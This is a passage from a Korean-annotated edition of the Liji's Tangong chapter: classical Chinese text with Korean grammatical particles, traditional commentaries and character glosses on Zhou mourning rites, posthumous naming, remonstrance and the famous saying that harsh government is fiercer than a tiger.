爾之飮曠은 何說也오? 蕢이 言桀,以乙卯日死하고 紂以甲子日死하니 謂之疾曰이라. 故.君不擧樂이오, 在堂은 在殯也라. 況君於卿大夫에 比葬不食肉하고 比卒哭不擧樂하나니 悼子이 在殯而可作樂燕飮乎아! 桀紂난 異代之君이오, 悼子난 同體之臣이라. 故.以爲大於子卯也라. 詔난 告也이니 罰其不告之罪也라.\n[曩(낭):접때,아레,이전에][紂(주):껑그리끈,주임금(殷朝마지막포악한천자][詔:고할조(詔令(조령) 詔書. 임금의 명령. 詔命 )]\n\"爾飮調난 何也오?\"曰,\"調也난 君之褻臣也니 爲一飮一食하야 亡君之疾할새, 是以로 飮之也호이다.\" [486]\n言調이 爲近習之臣하니 貪於一飮一食하야 而忘君違禮之疾이라. 故.罰之也라.[褻속옷설,더러움(穢)]\n爾飮은 何也오?\"曰,\"蕢也이 宰夫也이로대, 非刀匕를 是共[供]하고, 又敢與[去聲]知防호니 是以로 飮之也호이다.\" [487]\n非난 猶不也라. 宰夫이 職在刀匕로대 今乃不專供刀匕之職而敢與知諫爭防閑之事하니 是侵官矣라. 故.自罰也라.\n平公이 曰,\"寡人이 亦有過焉호니, 酌而飮寡人하라!\"杜蕢이 洗而揚觶어늘[志], 公이 謂侍者曰,\"如我死이라도 則必無廢斯爵也이라시니.\"至于今히 旣畢獻하고, 斯揚觶하니, 謂之杜擧이라 하나니라. [觶:술잔치,벌잔][487]\n揚觶난 擧觶也니, 盥洗而後擧난 致潔敬也라. 平公이 自知其過하야 旣命蕢以酌하고 又欲以此爵으로 爲後世戒라. 故.記者이 云至今晉國이 行燕禮之終에 必擧此觶하야 謂之杜擧者난 言此觶이 乃昔者杜蕢所擧也라. 春秋傳에 作屠蒯하니 文亦不同하다.[觶:술잔치(罰爵)][蒯(궤):기령풀,黃茅,姓]\n長樂陳氏曰先王制爲喪臣之禮於服則衰絰於膳則不擧於樂則弛縣以至與歛(斂)往弔莫不盡禮是以柳莊之卒衛獻公不釋祭服而往襚叔弓之卒隱公不與歛仲遂之卒宣公猶繹而萬八君子非之然則悼子之未葬平公飮酒至於鼓鐘其可乎此杜蕢所以升酌而譏之也非杜蕢不能改平公之過於群臣不言之際非平公不能彰杜蕢之善於後世矣蓋杜蕢之所存者忠也所敢爲者勇也平公之知悔者智也不掩人者義也皆禮之所與也然平公賢孟子而終於不可見尊亥唐而終於不共治則所謂智而且義者蓋亦勉强之而已 左傳謂屠蕢責樂工以不聰責嬖叔以不明責己以不善味其言雖不同其實一也 噫三代之季賢者陸沇多矣 及不得已然後出而見於世故讓爵見於屠羊非書見於斵輪守官見於虞人商歌見於飯牛則善諫見於宰夫不爲過矣.[襚:수의수][繹:끌어낼역][斵(착=斲)쪼개다,깍다,베다,새기다][嬖(폐):(미천한 사람을 특별히)사랑하다][沇:물흐를연]\n32 公叔文子이 卒커늘, 其子戌에[庶]請謚於君하야 曰호대,\"日月이 有時라 將葬矣는. 請所以易其名者하나이다.\" [489]\n文子난 衛大夫니 名拔이오. 君은 靈公也라. 大夫士이 三月而葬하니 有時난 猶言有數也라. 死則諱其名하니 故,爲之諡난 所以代其名也라.\n君曰하사대\"昔者에 衛國이 凶饑어늘, 夫子이 爲粥하야 與國之餓者하니, 是이 不亦惠乎아! 昔者에 衛國이 有難이어늘,[去聲] 夫子이 以其死로 衛寡人하니, 不亦貞乎아, 夫子이 聽衛國之政호대, 脩其班制하야 以與四鄰으로 交하야, 衛國之社稷에 不辱케하니, 不亦文乎아! 故로 謂夫子를 貞惠文子이라 하노라.\" [489]\n魯昭公二十年에 盜이 殺衛侯之兄,縶하니 時에 齊豹이 作亂하야 公如死鳥하니 此난 衛國之難也라. 班者난 尊卑之次요, 制者난 多寡之節이니 因舊典而脩擧之也라. 據先後則惠在前하고 論小大則貞爲重이라. 故.不曰惠貞하고, 而曰貞惠也라. 此三字爲諡而惟稱文子者난 鄭云,文足以兼之라.\n[縶(집):말매다,連하다,갇히다][脩(수)포,건육,마르다]\n33 石駘[苔]仲이 卒하니 無適子로 有庶子六人이어늘, 卜所以爲後者이러니 曰호대, \"沐浴佩玉則兆라 한대.\"五人者이 皆沐浴佩玉이어늘, 石祁子이 曰호대,\"孰有執親之喪 而沐浴佩玉者乎리오?\"하고 不沐浴佩玉하니, 石祁子이 兆커늘, 衛人이 以龜로 爲有知也라 하니라. [祁:성할기.크다,많다][491]\n駘仲은 衛大夫라. 曰沐浴佩玉則兆난 卜人之言也라.\n○ 方氏이 曰 兆亦有凶호대 卜者이 以求吉爲主라. 故.經에 以兆言吉也하니라.\n長樂陳氏曰五人者有意於得而不兆祁子無意於得而兆故衛人以龜爲有知蓋溺於利而忘義蔽於情而忘禮者人謀之所不與而鬼謀之所違篤於義而不謀利專於禮而不徇情者人謀之所與而鬼謀之所從豈非所謂天地自然之道人事必然之理哉[溺(오줌뇨(尿),빠질닉,(溺死)][徇:주창할순]\n○ 嚴陵方氏曰曲禮曰居喪之禮頭有創則沐身有瘍則浴非有創瘍固不可以沐浴矣 玉藻云凡帶必有佩玉唯喪否非去喪固不可以佩玉矣 執親之喪而沐浴佩玉是忘孝忘禮也唯石祁子不爲之龜之獨兆於祁子其有知也哉[瘍(양):종기,부스럼][祁:성할기,클기,많을기]\n34. 陳子車이 死於衛커늘, 其妻이 與其家大夫로 謀以殉葬하야 定而后에 陳子亢이[剛]至커늘, 以告하야 曰호대,\"夫子이 疾하야, 莫養[去聲]於下할새, 請以殉葬하러라.\" [492]\n子車난 齊大夫라. 子亢은 其兄弟니 卽孔子弟子子禽也라. 疾時에 不在家하니 家人이 不得以致其養이라. 故.云莫養於下也라. 於是에 欲殺人以殉葬하니 定은 謂已議定所殺之人也라. 於是엔 弗果用하다. [殉:따라죽을순]\n子亢이 曰,\"以殉葬이, 非禮也니, 雖然이나, 則彼疾當養者난 孰若妻與宰리오? 得已인댄 則吾欲已러니와 不得已인댄 則吾欲以二子者之爲之也하러라.\"於是不果用하다. [492]\n宰난 卽家大夫也니, 二子난 謂妻與宰也라. 子亢이 若但言非禮에 未必能止之라. 今以當養者로 爲當殉則不期其止而自止矣니라.\n嚴陵方氏曰以生者而從之於死則傷乎不仁於死者而養之以生則傷乎不知非君子之所當爲也 子亢以義拒之不亦宜乎\n35. 子路이 曰호대,\"傷哉라, 貧也여! 生無以爲養하며[去聲], 死無以爲禮也로다.\"孔子이 曰하사대,\"啜菽飮水이나, 盡其歡을, 斯之謂孝이요. 斂手足形하야, 還[旋]葬, 而無槨이나, 稱[去聲]其財를, 斯之謂禮니라.\" [啜(철);훌쩍훌쩍울다,맛보다.빨다. 菽:콩숙][槨:덧관곽][493]\n世固有三牲之養而不能歡者하고 亦有厚葬하야 以爲觀美而不知䧟(陷)於僭禮之罪者하니 知此則孝與禮를 可得而盡矣니 又何必傷其貧乎이리오. 還葬은 說見上篇하니라.\n長樂陳氏曰 君子之於親以其所以養則 養在志不在體以其所以葬則 葬在誠不在物苟養在體不在志則雖三牲不足以爲孝 葬在物不在誠則雖醯醢百甕不足以爲禮若然則 富者不足矜貧者不足傷要在自盡而已. ○ 嚴陵方氏曰 子路於生曰 養於死 曰禮則知所謂禮者喪葬之禮 言喪葬則 知所謂養者亦無非禮矣 語云生事之以禮死葬之以禮是矣 孔子又變養言孝者主盡其歡言之也 盡其歡者存乎情 故以孝言稱其財者存乎物故以禮言啜飮止以菽水言之者菽不若稻粱之甘水不若酒醯之美則以見盡其歡者在乎養志不在養口體而已\n36 衛獻公이 出奔이러니, 反於衛할새, 及郊하야, 將班邑於從[去聲]者而后에사 入이어늘. 柳莊이 曰호대,\"如皆守社稷이면, 則孰執羈靮[的]而從이며, 如皆從이면, 則孰守社稷이리오? 君이 反其國而有私也이니, 毋乃不可乎아?\"한대, 弗果班하니라. [靮:말고삐적][羈:굴레기.髻][494]\n獻公이 以魯襄十四年奔齊러니 二十六年에 歸衛하니라. 羈난 所以絡馬이오. 靮은 所以鞚馬라. 莊之意이 謂居者行者이 均之爲國이니 不當獨賞從者하야 以示私恩이니라.\n[絡:두를락,싸다,묶다,얽다,잇다][靮:말고삐적,鞚:말굴레공]\n長樂陳氏曰 楚昭王之賞從亡而及於屠羊說晉文公之賞從亡而辤見守藏者衛獻公之厚從亡而及郊將班邑是皆徇於使而不知公蔽於邇而不知遠也 蓋居者守君之社稷行者執君之羈馰其勞逸雖殊而功之所施則一其可厚此而薄彼哉 此柳莊所以諫獻公也 臧武仲曰衛公之奔有太叔儀以守有毋弟鱄以出或撫其內或營其外其無歸乎 是內外之功一也[徇:주창할순][臧(장)착하다,두텁다,노비,藏,臟][鱄:전어전]\n○ 嚴陵方氏曰 獻公之反國將班邑於從者 而後入則 是私於從己之昵而忘保國之大矣 豈所以合天下之公義哉.[昵(닐):친숙해질닐.(예):아비사당녜,先考녜]\n37. 衛有大史하더니 曰柳莊이라. 寢疾이어늘 公이 曰하사대,\"若疾革하거든[亟], 雖當祭라도 必告하라.\"公이 再拜稽首하야 請於尸하야 曰하사대,\"有臣柳莊也者난 非寡人之臣이라 社稷之臣也이니 聞之死라. 請往이라.\"하시고 不釋服而往하사 遂以襚之하시고, 與之邑裘氏와 與縣潘氏하야 書而納諸棺하고, 曰하사대,\"世世萬子孫이 無變也라 하시다.\"[襚:수의수] [496]\n以衣服贈死者曰襚라. 裘縣潘은 二邑名이라. 萬子孫은 謂莊之後世也라. 莊之疾에 公이 嘗命其家하야 若當疾亟之時어든 我雖在祭事이나 亦必入告이러니 及其死也에 果當公行事之際라. 遂不釋祭服而往하야 因釋以襚之하고 又賜之二邑하니 此이 雖見國君尊賢之意나 然,棄祭事而不終하고 以諸侯之命服而襚大夫하고 書封邑之券而納諸棺하니 皆非禮矣라.\n38. 陳乾[干]昔寢疾하야, 屬[燭]其兄弟而命其子尊己하야, 曰호대, \"如我死이어든, 則必大爲我棺하야, 使吾二婢子로 夾我하라.\"陳乾昔이 死커늘, 其子이 曰호대,\"以殉葬이, 非禮也니. 況又同棺乎여!\"하고 弗果殺하니라. [497]\n屬은 如周禮屬民讀法之屬하니 猶合也요 聚也라. 記者이 善尊己의 守正而不從其父之亂命하니라.\n長樂陳氏曰 君子將死不忘乎利人 小人將死不忘乎利己 故成子高之寢疾則擇不食之地以自葬孟僖子之將死則明仲尼之道以敎子曾子之將死則稱君子之道以敎人此不忘乎利人者也 魏顆之病欲以妾爲殉陳乾昔之病欲以婢夾己此不忘乎利己者也 乾昔之子終不從其亂命其過秦康公遠矣.[顆(과):낱알,알맹이,덩이,무덤.顆粒:동글고 잔 알갱이]\n39 仲遂이 卒于垂이어늘, 壬午에 猶繹호대, 萬入去[上聲]籥한대, 仲尼이 曰하사대,\"非禮也라. 卿卒不繹하나니라.\"[繹:당길역.찾다,연달아,풀다,실마리][497]\n仲遂은 魯莊公의 子東門襄仲也니 爲魯卿하니라. 乘난 齊地名이라. 祭宗廟之明日에 又說祭禮하야 以尋繹昨日之祭를 謂之繹하니, 殷謂之肜이라하니 言壬午則正祭난 辛巳日也라. 萬舞난 執干以舞也요, 籥舞난 吹籥以舞也니 萬入去籥者난 言此繹祭時에 以仲遂之卒로 但用無聲之干舞以入하고 去有聲之籥舞而不用也라.[繹:당길역][肜(융):화하다,다스리다,상나라제사][籥:피리약]\n○ 陳氏이 曰 春秋之法에 當祭而卿卒則不用樂하고, 明日則不繹이라. 故叔弓之卒에 昭公이 去樂卒事君子이 以爲禮라하고 仲遂之卒애 宣公이 猶繹而萬入去籥하니 聖人이 以爲非禮라 하시니라.\n○ 詩記에 曰 萬舞난 二舞之總名也니, 干舞者난 武舞之別名이오, 籥舞者난 文舞之別名이니 文舞난 又謂之羽舞라 하니라. 鄭氏이 據公羊하야 以萬舞로 爲干舞하니 誤也라. 春秋에 書萬入去籥하니 言文武二舞이 皆入호대 去其有聲者라. 故.去籥焉이어늘 公羊이 乃以萬舞로 爲武舞하야 與籥舞,對言之하니 失經意矣라. 若萬舞이 止爲武舞則此詩에 何爲獨言萬舞而不及文舞요, 左傳에 考仲子之宮將萬焉이라하니 婦人之廟에 亦不應獨用武舞也라. 然則萬舞이 爲二舞之總名이 明矣로다. 出詩緝簡兮註하니라.\n○ 愚난 按左傳에 楚令尹子元이 欲蠱文夫人하야 爲館於其宮側而振萬焉한대 夫人이 聞之泣曰先君이 以是舞也로 習戎備也이러니 今令尹이 不尋諸仇讎하고 而於未亡人之側이 不亦異乎아 하니 據此則萬舞이 信爲武舞矣어늘 呂氏이 豈偶忘之耶아!\n[蠱(고):몸속기생충,곡식벌레,굿,굿에쓰는벌레][讎=讐]\n嚴陵方氏曰正祭之明日又祭謂之繹繹者如繹絲然以其續之而不絶故也 祭禮爲吉卿卒爲凶 然正祭不可廢也 故卿卒不繹而已猶者可以己之辭\n40. 季康子之母이 死커늘, 公輸若이 方小러니, 斂에 般이[班]請以機로 封한대[窆]. 將從之로니, 公肩假이 曰호대,\"不可하니, 夫魯이 有初하니라. [501]\n公輪난 氏요, 若은 名이니, 爲匠師라. 方小난 年尙幼也라. 斂은 下棺於椁也라. 般은 若之族이니 素多技巧라. 見若의 掌斂事而年幼하고, 欲代之而試用其巧技也라. 機窆은 謂以機關轉動之器로 下棺하고 不用碑與繂也라. 魯有初난 言魯國에 自有故事也라.[繂:배닻줄률]\n41. 戰于郞할새 公叔禺[遇]人ㅣ遇負杖入保者ㅣ息하고. 曰호대, \"使之雖病也며, 任之雖重也나, 君子ㅣ不能爲謀也나, 士弗能死也면, 不可하니 我則旣言矣라하고.\" 與其鄰重[童]汪踦[紀]로往하야, 皆死焉커늘. 魯人ㅣ欲勿殤重汪踦호리라, 問於仲尼하야대. 仲尼ㅣ曰, \"能執干戈하야 以衛社稷하니, 雖欲勿殤也나, 不亦可乎아!\" [504]\n戰于郞은 魯哀公十一年에 齊伐魯也라. 禺人은 昭公子公爲也라. 遇魯人之避齊師而入保城邑者이 疲倦之餘에 負其杖而息于塗하고 禺人이 乃歎之曰 徭役之煩이 雖不能堪也며, 稅歛(斂)之數이 雖過於厚也이나 若上之人이 恊心.以禦寇難이면 猶可塞責也이어늘 今卿大夫이 不能劃謀策하고 士不能捐身以死難하니 豈人臣事君之道哉아? 甚不可也라. 我이 旣出此言矣니 可不思踐吾言乎아? 於是에 與其隣之童子.汪踦者로 皆往하야 闘(鬪)而死於敵하니 魯人이 以踦로 有成人之行이라하야 欲以成人之喪禮로 葬之而孔子이 善其權禮之當也라.\n[捐:버릴연,기부,헌납,덜다][徭:구실요.부역,부림][寇(구):도둑,원수,쳐들어옴][踦:절름발이기,기울다]\n長樂陳氏曰君子之於人視其行不視其年年雖壯而無成處之以童可也鄭忽之狡童昭公之童心是也年雖穉而有成處之以成人可也汪踦之勿殤是也[殤:일찍죽을상]\n42. 子路이 去魯할새, 謂顔淵하야 曰호대,\"何以贈我오?\"曰호대,\"吾난 聞之也호니, 去國則哭于墓而后에 行하고, 反其國엔 不哭하고, 展墓而入이니라.\"謂子路하야 曰호대,\"何以處我오?\"子路이 曰호대,\"吾난 聞之也호니, 過墓則式하며, 過祀則下니라.\" [506]\n哭墓난 哀墓之無主也라. 不忍丘壟之無主면 則必有返國之期하니 故爲行者言之하고 墓與祀엔 人所易忽也니 而能加之敬하면 則無往而不用吾敬矣라. 敬則無適而不安하니 故,爲居者言之也라.[壟(롱)밭두둑,무덤,언덕]\n○ 方氏이 曰 凡物이 展之則可省而視니 故.省,謂之展이니라.\n43. 工尹商陽이 與陳棄(弃)疾로 追吳師할새, 及之러니. 陳弃疾에 謂工尹商陽하야 曰호대,\"王事也라, 子이 手弓而可하니라.[句]\"手弓이어늘.[句]\"子이 射[石]諸인저!\"射之하야 斃一人하고, 韔[暢]弓이어늘 又及하야 謂之한대 又斃二人하니 每斃一人에 揜其目하고. 止其御하야 曰호대, \"朝不坐하며, 燕不與니[去聲], 殺三人이 亦足以反命矣니라.\"孔子이 曰하사대,\"殺人之中에 又有禮焉이로다.\"[斃:죽을폐.넘어지다][揜:손으로가릴암.찾아낼엄][506]\n工尹은 楚官名이라. 追吳師난 事在魯昭公十二年하다. 子手弓而可이 爲句하니 使之執弓也라. 手弓은 商陽之弓이 在手也라. 韔은 弓衣也라. 謂之난 再告之也라. 掩目而不忍視하고, 止御而不忍驅난 有惻隱之心焉이라. 商陽이 自言位卑禮簿하니 如此이 亦可以稱塞矣라. 孔子이 謂其有禮난 以敗北之師이 本易窮而商陽이 乃能節制其縱殺之心하니 是이 仁意與禮節並行이니 非事君之禮이 止於是也라. 特取其善於追敗者요, 亦非謂臨敵未決而不忍殺人也라.[韔:활집창]\n○ 疏曰 朝與燕이 皆在寢하니 若路門外正朝면 則大夫以下이 皆立하고, 若燕朝이 在於路寢이면 則大夫이 坐於上하니 如孔子攝齊升堂이 是也이니 升堂則坐矣니라. 燕亦在寢하니 燕禮에 獻卿大夫之後에 西階上에 獻士하고 無升堂之文하니 是이 士立於下也라. 鄭註에 射者在左하고 戈盾在右하고 御在中央이라하니 謂兵車參乘之法이니, 此난 謂凡常戰士라. 若是元帥면 則在中央皷(鼓)下하고 御者在左하고 戈盾亦在右요, 若天子諸侯이 親將이면 亦居皷下이니, 若非元帥면 則皆在左하고 御者이 在中이오, 若非兵車면 則尊者在左니라.\n長樂陳氏曰從君之大義而忘己之不忍君子之所不爲行己之不忍而廢君之命君子之所不敢楚工尹商陽追吳師而射之每斃一人則揜其目其所不忍仁也不廢君之命義也禮者仁義而已 此孔子所以謂之有禮也 大夫於朝則坐於燕則與故其責重士於朝則立於燕則不與故其責輕 商陽所殺止於三者姑以成禮而已 然則朝坐燕與爲商陽者如之何曰彼必陳善以閉邪引君以當道有所不戰 戰之所以止戰有所不殺 殺之所以止殺庸有不義之擧哉 商陽以楚爲不義而不去何也 君子去處有道廢興有命天下皆齊也 陳文子去齊孔子不以爲仁 天下皆魯也柳下惠不去魯孟子不以爲非聖然則天下皆楚也 商陽不去楚君子 豈以爲非禮哉.[斃죽을폐.弊同][揜(암:手掩)(엄:索引,困迫)]\n44. 諸侯이伐秦할새, 曹桓[宣]公이卒于會어거늘. 諸侯이請含하야대,[去聲] 使之襲하다. [510]\n曹伯之卒은 魯成公十三年也라. 襲은 賤者之事이니 諸侯이 從之하니 不知禮也라.\n45. 襄公이 朝于荊할새, 康王이 卒커늘 荊人이 曰호대,\"必請襲이니라.\" 魯人이 曰호대,\"非禮也라.\"荊人이 强[去聲]之어늘 巫이 先拂柩한대, 荊人이 悔之하다. [510]\n荊은 禹貢州名이니 楚,立國之本號라. 魯僖公元年에 始稱楚하니라. 魯襄公이 以二十八年으로 朝楚하야 適遭楚子昭之喪하니 魯人이 知襲之非禮而不能違하야 於是,以君臨臣喪之禮로 先之하니, 及其覺之而悔나 已無及矣라. 此其適權變之宜니 足以雪恥니라.\n長樂陳氏曰 荊人以人臣之事待襄公 襄公則以人臣之事臨荊人豈非自尊而卑人者人必卑之自貴而賤人者人必賤之耶 奏 王屈趙王以缶而有鼓瑟之辱 夫差屈句踐於會稽而有姑蘇之恥亦其類也\n46. 滕成公之喪에 使子叔敬叔으로 弔하고 進書한대, 子服惠伯이 爲介러니 及郊하야 爲[去聲]懿伯之忌하야 不入이어늘. 惠伯이 曰,\"政也라, 不可以叔父之私로 不將公事라\"하고 遂入하다. [滕:물솟을등,물끓어오름,나라이름][懿:아름다울의,통할의][511]\n滕成公之喪에 在魯昭公之三年하니라. 敬叔은 魯桓公七世孫이오, 惠伯則桓公六世孫也이니, 於世次에 敬叔이 稱惠伯爲叔父하고, 懿伯則惠伯之叔父而敬叔之五從祖라. 進書난 奉進魯君之弔書也라. 介난 副也라.\n○ 劉氏이 曰 左傳註에 云.忌난 怨也라. 敬叔이 先有怨於懿伯이라 故.不欲入勝이라가 以惠伯之言而入하니 傳에 言叔弓之有禮也라 하고 此疏에 云.敬叔이 嘗殺懿伯하야 爲其家所怨이라. 恐惠伯殺己하야 故不敢先入이어늘 惠伯이 知其意而開釋之하니 記惠伯之知禮也라 하니 二說이 不同而皆可疑라. 如彼註言하야 禮椒,爲之避仇怨이면 則當自受命之曰로 辭行以禮之니 不當及郊而後辭入也이오, 如此疏言하야 恐惠伯殺己而難之면 則魯之遣使而使其仇爲之副하야 不恤其相仇하야 以棄命害事이 亦非善處也요, 且叔弓이 爲正使하야 得仇怨爲介而不請易之에 非計之得也요, 又同使共事而常以仇敵備之하야 而往反於魯滕之路이 亦難言也이니, 使椒果欲報仇면 則其言雖善이나 安知非誘我耶而遂入이리오? 又非通論也라. 按左傳에 云.及郊,遇懿伯之忌라하고 此作爲하니 二字이 雖異而皆先言及郊而後言忌하니 可見是及郊.方遇忌也라. 或者忌字이 只是忌日이니 懿伯이 是敬叔從祖라. 適及滕郊而遇此日하니 故,欲緩至次日.乃入이라. 故.惠伯이 以禮曉之曰 公事난 有公利無私忌라하고 乃先入이어늘 而叔弓이 亦遂入焉이라하니 此說이 固可通이나 然.亦未知然否니 闕之可也라. [椒:산초초][恤구제,근심]\n47. 哀公이 使人으로 弔蕢尙한대, 遇諸道하야 辟[闢] 於路하며, 畫[獲]宮而受弔焉한대. [514]\n哀公은 魯君으로 辟於路난 辟을 讀爲闢이니 謂除闢道路하야 以畫宮室之位而受弔也라.\n曾子이 曰하사대,\"蕢尙이 不如杞梁之妻之知禮也로다. 齊莊公이 襲莒于奪할새[兌], 杞梁이 死焉커늘 其妻이 迎其柩於路而哭之哀하더니. [514]\n魯襄公二十三年에 齊侯이 襲莒하니 襲者난 以輕兵,掩其不備而攻之也라. 在傳에 言.杞殖.華還이 載甲夜入且于之隧라 하니, 且于난 莒邑名이라. 隧난 狹路也라. 鄭云.或爲兌하니 故.讀奪爲兌라. 梁은 卽殖이니 以戰死라. 故.妻迎其柩하니라. [莒:모시풀거,토란,고을이름,국명]\n莊公이 使人으로 弔之하신대, 對曰호대,\"君之臣이 不免於罪인댄 則將肆諸市朝而妻妾執이어니와. 君之臣이 免於罪인댄, 則有先人之敝廬이 在하니, 君無所辱命이니라.\" [515]\n肆난 陳尸也라. 妻妾執은 拘執其妻妾也라. 左傳에 言齊侯이 弔諸其室하니라.\n嚴陵方氏 曰 與人交於喪尤浴其至若夫弔人於道路之間者禮苟從簡事苟從便而已 豈所以用其至哉 蓋非禮之禮 君子固不以加於人 然亦未嘗受之於人焉 此曾子所以言蕢尙不如杞梁之妻之知禮也.\n48. 孺子[他昆反]之喪에 哀公이 欲設撥샤[半末反], 問於有若하신대 有若이 曰호대,\"其可也니 君之三에 臣猶設之하니이다.\"顔柳이 曰호대,\"天子난 龍輴[春]而郭幬하고[道], 諸侯난 輴而設幬호대, 爲楡[于]沈[審]故로 設撥하나니. 三臣者이 廢輴而設撥하니, 竊禮之不中[去聲]者也이니, 而君이 何學[如字]焉잇고?\" [516]\n은 哀公之少子라. 舊說에 以撥爲绋하니 未知是否이로다. 三臣은 魯之三家也라. 顔柳이 言天子之殯에 用輴車載柩而畫轅爲龍하고, 椁幬者난 叢木爲椁形而覆幬其上이니, 前言加斧于椁上이 是也라. 諸侯난 輴而設幬하니 則有輴而無龍하고, 有幬而無椁也라. 楡沈은 以水浸楡白皮之汁하야 以播地니 取其引車不澁滯也라. 今三家이 廢輴不用而猶設撥하니 是.徒有竊禮之罪而非有中用之實者也라.\n[:누른빛 돈,단][绋:엉크러진실불][輴:상여순.轅:끌채원][楡:느릅나무유][澁(삽):떫다.깔깔하다][幬:(주:수레휘장,수레바퀴에 씌운 가죽),(도:덮다,가리다)]\n○ 方氏이 曰 爲輴之重也라. 故.爲楡沈以滑之하고 欲楡沈之散也라. 故.設撥以發之니 無輴則無所用沈이오, 無所用沈則無所用撥이어늘, 三臣이 旣知輴之可廢而不知撥之不必設하니 是竊禮之不中者也라. 撥이 雖無所經見이니, 然,以文考之하니 爲楡沈이라. 故.設撥이니 則是以手,撥楡沈而灑於道也라. 先儒이 以爲紼이라하니 失之矣로다.\n○ 今按方說如此하니 亦未知其是否이니 闕之可也라.\n49. 悼公之母이 死커늘, 哀公이 爲[去聲]之齊衰하신대 有若이 曰호대,\"爲妾하야 齊衰이 禮與잇가?\"[平聲]公이 曰하사대,\"吾난 得已乎哉아! 魯人이 以妻我이니라.\" [518]\n以妻我난 以爲我妻也라. 此난 哀公溺情之擧,文過之辭라.[溺:빠질닉]\n○ 疏曰天子諸侯이 絶旁期하니 於妾無服이오, 惟大夫이 爲貴妾緦이니라.\n[緦:15새베(15升布),3월복,시마복]\n50. 季子皐이 葬其妻할새 犯人之禾어늘, 申祥이 以告 曰호대,\"請康之하라.\"子皐이 曰호대,\"孟氏이 不以是로 罪予하며, 朋友이 不以是로 弃(棄)予하리니, 以吾爲邑長於斯也라. 買道而葬이면 後難繼也이니라.\" [518]\n劉氏이 曰 季子皐이 孔子弟子,高柴也라. 夫子이 嘗曰柴也난 愚라 하시니라. 觀家語所稱하고 及此經所記.泣血三年과 及成人爲衰之事로 觀之컨대 賢可知矣라. 此葬妻犯禾이 亦爲成宰時事이니 有無난 固不可知나 然.曰 孟氏不以是罪予.朋友不以是棄予者난 以犯禾之失이 小而買道之害이 大也 何也 以我爲邑宰 尙買道而葬 則後必爲例而難乎爲繼者矣也라. 何也오? 以我爲邑宰하니 尙買道而葬이면 則後必爲例而難乎爲繼者矣니 此亦愚而過慮之一端이나 然,出於誠心이오, 非文飾之辭也라. 鄭註에 謂其恃寵虐民하고, 而方氏이 又加以不仁不怒之說하니 則甚矣라. 豈有賢如子皐而有是哉리오.[柴:섭시]\n51. 仕而未有祿者난 君有饋焉曰獻이라하며, 使[去聲]焉曰寡君이니 違而君薨이어든 弗爲服也니라. [519]\n王制예 云,位㝎然後祿之라 하니 此이 蓋初試爲士하야 未賦廩祿者니 有饋於君則稱獻하며, 出使他國則稱寡君이니 此二事이 皆與群臣同호대 獨違離之後에 而君薨則不爲舊君服이 此則與群臣異하니 所以然者난 以其未嘗食君之祿也라.[廩:곳집름]\n○ 方氏이 曰 湯之於伊尹에 學焉而後臣之하니, 方其學也에 賓之而弗臣이니, 此所謂仕而未有祿者난 若孟子之在齊是也라. 惟其賓之而弗臣이라. 故.有饋焉에 不曰賜而曰獻이오, 將命之使에 不曰君而曰寡君이니, 蓋獻爲貢上之辭요 而寡則自謙之辭故也라. 以其有賓主之道而無君臣之禮라. 故,違而君薨에 弗爲服也하니 其曰違則居其國之時에 固服之矣니라.\n52. 虞而立尸하고 有几筵이니라. [521]\n未葬之前은 事以生者之禮니 葬則親形已藏이라. 故,虞祭則立尸以象神也이니라. 筵은 席也라. 大斂之奠에 雖有席而無几나 此時則說几하야 與筵相配也라.\n卒哭而諱난 生事畢而鬼事이 始已니라. [521]\n卒哭而諱其名은 蓋事生之禮이 已畢하고 事鬼之事이 始矣라. 已난 語辭라.\n旣卒哭하고, 宰夫이 執木鐸하야 以命于宮하니, 曰호대,\"舍故而諱新.\"이니 自寢門으로 至于庫門이니라. [522]\n周禮.大喪,小喪에 宰夫이 掌其戒令이라. 故.卒哭後에 使宰夫로 執金口木舌之鐸,振之하야 以命令于官也라. 其令之之辭에 曰 舍故而諱新이라하니, 故난 謂高祖之父當遷者니 諱多則難避라. 故,使之舍舊諱而諱新死者之名也라. 以其親盡이라. 故.可不諱니라. 庫門은 自外入之第一門이니 亦曰皐門이라.[鐸:방울탁]\n嚴陵方氏曰生事畢而鬼事始已者上言生則知鬼之爲死下言鬼則知生之爲人也\n53. 二名을 不偏諱니, 夫子之母이 名이 徵在러시니, 言在不稱徵하시며 言徵不稱在하더시다. [522]\n二名은 二字爲名也니, 此난 記避諱之禮하다.\n嚴陵方氏曰夫子曰不在顓吏而在蕭墻之內若此則言在不稱徵也又曰夏禮吾能言之杞不足徵若此則言徵不稱在也[顓:오로지전,어리석을전][蕭(소):쓸쓸함,맑은대(蒿)][杞:나라이름기]\n54. 軍이 有憂이어든 則素服으로 哭於庫門之外니, 赴車에 不載櫜[高]韔.이니라. [櫜:활집고. 韔:활집창][516]\n櫜난 甲衣요, 韔은 弓衣라. 甲不入櫜하고 弓不入韔은 示再用也라.\n方氏이 曰 戰勝而還을 謂之愷니 則敗를 謂之憂이 宜矣라. 素服哭은 以喪禮處之也라. 必於庫門之外者난 以近廟也라. 師出에 受命于祖이니 無功則於祖命에 辱矣라. 赴車난 告赴於國之車니 凡告喪曰赴車니 以告敗爲名이 與素服同義하다.\n55. 有焚其先人之室이어든, 則三日哭이니 故로 曰,\"新宮이 火이어늘, 亦三日哭이라.\"하니라. [524]\n先人之室은 宗廟也라. 魯成公三年에 焚宣公之廟하니 神主이 初入이라. 故.曰 新宮이라 하니라. 春秋에 書二月甲子에 新宮이 災하니 三日哭이라하니, 註云.書其得禮하니 此言故曰者난 謂春秋文也라.\n56. 孔子이 過泰山側하실새, 有婦人이 哭於墓者而哀어늘. 夫子이 式而聽之하시고, 使子路로 問之하야, 曰하사대,\"子之哭也이 壹似重[平聲]有憂者하다.\"而曰,\"然하니이다. 昔者에 吾舅이 死於虎하며, 吾夫이 又死焉하고, 今에 吾子이 又死焉하이다.\" 夫子이 曰하사대,\"何爲不去也오?\"曰호대,\"無苛政이니이다.\"夫子이 曰하사대,\"小子아 識[志]之하라. 苛政이 猛於虎也이로다.\" [524]\n聞其哭하고 式而聽之난 與見齊衰者,雖狎必變之意로 同하니 聖人敬心之所發이 蓋有不期然而然者이시니라. 壹似重有憂者난 言甚似重疊有憂若者也라. 而曰은 乃曰也라. 虎之殺人은 出於倉卒之不免이오, 苛政之害난 雖未至死而朝夕有愁思之若하니 不如速死之爲愈라. 此이 所以猛於虎也니 爲人上者이 可不知此哉아![疊:거듭첩]\n嚴陵方氏曰虎之害人也 機罟檻穽所能制之政之害人也 無可制之械焉虎之害人也 深宮固門所能逃之政之害人也 無可逃之地焉 